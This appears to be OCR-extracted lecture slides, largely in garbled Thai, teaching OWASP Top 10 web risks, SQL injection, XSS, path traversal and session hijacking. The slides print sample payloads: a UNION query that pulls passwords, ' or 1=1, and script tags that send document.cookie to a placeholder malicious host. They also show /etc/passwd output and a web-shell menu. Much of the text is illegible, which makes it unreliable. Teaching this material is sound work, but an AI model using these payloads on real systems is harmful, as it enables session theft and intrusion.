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* OWASP

® SQL Injection

® Cross-Site Scripting

® Remote Code Execution

® Session Hijacking
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OWASP

Open Web Application
Security Project

Web Application (2017) API (2019) Mobile Application (2016)

Al:Injection API1:Broken Object Level Authorization M1:Improper Platform Usage
A2:Broken Authentication API2:Broken User Authentication M2:Insecure Data Storage
A3:Sensitive Data Exposure API3:Excessive Data Exposure M3:Insecure Communication
Ad:XML External Entities (XXE) APl4:Lack of Resources & Rate Limiting Md:Insecure Authentication
A5:Broken Access Control API5:Broken Function Level Authorization M5:Insufficient Cryptography
A6:Security Misconfiguration APl6:Mass Assisnment Mé6:Insecure Authorization
AT:Cross-Site Scripting (XSS) API7:Security Misconfiguration MT7:Client Code Quality
A8:Insecure Deserialization API8:Injection M8:Code Tampering
A9:Using Components with Known API19:Improper Assets Management M9:Reverse Engineering

Hleireolites API10:Insufficient Logging & Monitoring M10:Extraneous Functionality

A10:Insufficient Logging & Monitoring



@CJLUF‘SD Web Application

Open Web Application
Security Project

Web Application (2017)

AO01:Injection

A02:Broken Authentication
A03:Sensitive Data Exposure
A04:XML External Entities (XXE)
A05:Broken Access Control
A06:Security Misconfiguration
AQ7:Cross-Site Scripting (XSS)
A08:Insecure Deserialization

A09:Using Components with Known Vulnerabilities

A10:Insufficient Logging & Monitoring

Web Application (2021)
A01:Broken Access Control &ﬂ

A02:Cryptographic Failures
A03:Injection

AO4:Insecure Design (New)
A05:Security Misconfiguration

A06:Vulnerable and Outdated Components

e DM % 2

AQ7:ldentification and Authentication Failures

A08:Software and Data Integrity Failures (New) ’ﬂ‘
A09:Security Logging and Monitoring Failures ‘

A10:Server-Side Request Forgery (New) _$-



SQL Injection

Server-side Script VS Client-side Script
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Client side Server side
visualization computation and storage
HTML, CSS, JavaScript, PHP, Python, JAVA, ASP.net,

VBScript SQL, API



What SQL Injection Is ?

' UNION SELECT username, password FROM users—-—

SELECT name, description FROM products WHERE category Ef] uéU a g;_ll avLﬂ ﬁU ﬂ f] ja a ﬂ LLU U gJ ’] LW a

= 'Gifts' UNION SELECT username, password FROM users—-
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159N “Injection”




How SQL Injection Works (Unf)

Masdlagiguteyarewnsnelil (Wines) eliannedunainraieyin

fosmsuuunlesuiligldaudumdeya wu gliideniazdumlniiiaineiuvis “lagrein”
2. Fewhmsfatannuidumunlasiuls wu Svariety = $ POST[variety']
3. dhaluduwdsiileluld Query Tudn&s WHERE 1
Squery = "SELECT * FROM wines WHERE variety='Svariety";
4. vn15ds Submit TU7 Database Server
5. MySQL ﬁQﬂé’Usﬁagaﬁngmmiu Table : Wines lngfian variety 61 “lagrein”



How SQL Injection Works (t31%)

Masdlagiguteyarewnsnelil (Wines) eliannedunainraieyin

1. WAguAIINTvlnedukuUssn Julin 51 ieuuessnnaulasiATaIning iy LYY

lagrein' or 1=1;

SELECT * FROM wines WHERE variety = 'lagrein’
SELECT * FROM wines WHERE variety = 'admin’
SELECT * FROM wines WHERE variety = 'admin’ or 1=1;




Cross-Site Scripting

https:/linsecure-website.com/comment?message=<script src=https:/fevil-user.net/badscript.js></script>
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(? Sensitive data) Y
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%4 < [_|
% Wire transferj (' Mother's maiden name)

watdansilalan luiunt
nUmagelng Lﬁaﬁﬁsﬁwawﬁmﬂ
maly Andiddyusessazgnilame
WU A1Ue9 Cookie, Username,
Password tsannAlla “Cross-Site

Scripting (XSS)”



UseNNua9Ini1slangm XSS attacks

* Reflected XSS : Hadlviflanunsauans HTML/ JavaScript aanunsiufidiasinis

Input kY
* Stored (Persistent) XSS : {iN15 Stored a4 Database WaIRBIAIUNLYT
* DOM-based XSS : dadlmitiilegluldnildlraidudununaziduldailediines

W30 aLR5 lUWEY code LlAuAlALauUN



UseNNua9Ini1slangm XSS attacks

Reflected XSS fin aywllauaaunsawnsnansuaadiuiionves
Aulsavseuonndiadu F5ttelviilaudanusalusveyadiuda wu cookies,

account information
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http: /fwww. bigsafebank~~~/search.asp ?q=<scriptbr=neu§

Image;x.sr¢ = “http://malicious-domain-~e/
hijackedsession.phpfsession-cookie="+document.cookie ;</script:




UseNNua9Ini1slangm XSS attacks

Stored (Persistent) XSS A8 augnlvlaudaunsaunsnansuaaciy
sutayavesIuludvisowanndiaty il iuledddandunsnewnideutuseau

/A

http://wuw, bigsafebank. com/search.aspiq=<script>

e
x=new Image;x.src = “http://maliciousdomain-- E

hijackedsession.phpisessioncookie="+document.cookie;</script>




Remote Code Execution

lloadimage?filename=gift.png

R

®

¢ ¢ lloadimage?filename=...../../etc/passwd|

root:x:0:0:root: froot: /bin/bash
daemon:x:1:1:daemon: fusr/sbin: /bin/sh
bin:x:2:2:bin: /bin: /bin/sh
sys:x:3:3:sys:/dev: /bin/sh
sync:x:4:65534 sync: /bin: /bin/sync
games:x:5:60:games: fusr/games: /bin/sh
man:x:6:12:man: /var/cache/man: /bin/sh
1p:x:7:7:1p: fvar/spool/lpd: /bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh

news: x:%: 9 news: /var/spool/news: /bindsh
uucp:x:10:10:unucp: /var/spool/uucp: /bin/sh
proxy:x:13-13:proxy: /bin:/bin/sh

www-data:x:33: 33 www-data:/var/www:/bin/sh
gsickup - x: 34: 34 -backup: fvar/backups: /bin/ah

Junslaudemenisiates
Ive9n15 kU ssng luluswnsy
diesenldaudda vde Script oy
wU Server aansiienldmdainty
Tuus1iweshaadus wiagidunis
TaRuanseeglnaldinios Server
Weolaudlusundsdu wiodldenu

LAS849 Server



Remote Code Execution

Fodlvitdnnaznululusunsunldaulusuiuu Template (Aunin1sha
html to1b3nulu)

Headless CMS Content Infrastructure
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Remote Code Execution

{ .1, upload H <> mass deface H T mass delete H (=) console H (@ info server }

last edit size owner downer permission

2022-02-06 11:11:27 i 1073 quangitech

2022-06-16 17:14:23 i 1073 quangitech

2023-01-26 11:17:27 i 1073 quangitech

2021-10-12 22:04:39 i 1073 quangitech

2022-02-19 10:20:04 i 1073 quangitech

2023-01-12 09:24:04 i 1073 quangitech

5
-
-
-
-
-
-
-

2022-12-01 11:38:38 i 1073 quangitech
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Session Hijacking

e Server
Victim o _
2. Victim authenticates on server
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3. Server returns page code
with injected script

%99l17 Cross-Site Scripting (XSS) Iﬂa‘ﬁlrﬁ
lainTanazyinnisuasulas Session Uo4
L%’waﬂLLé"gﬁﬂmﬁmmaaLﬁu;ﬁ%mwfuq
WU been1suasuklas Session iy
SYAINISEANG “Ulusnany (Session

Hijacking)”

Attacker



Local Storage - Session - Cookies

Local Storage Session Storage Cookies



Local Storage - Session - Cookies
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WASUMUNELAY Session id

w Data

¥ PHPSESSID: "Sasonha?7cd326d3qd9ncdavly’
CreationTime: "Fri, 17 Jan 2020 16:55:56 GMT"
Cromain: "127.0.0.1°
Expires: "Session’
HostOnly: true
HitpOnly: false
Lasticcessed: "Fri, 17 Jan 2020 17:36:20 GMT”
Path: "/
Same5ite: "Unset’
Secure: false
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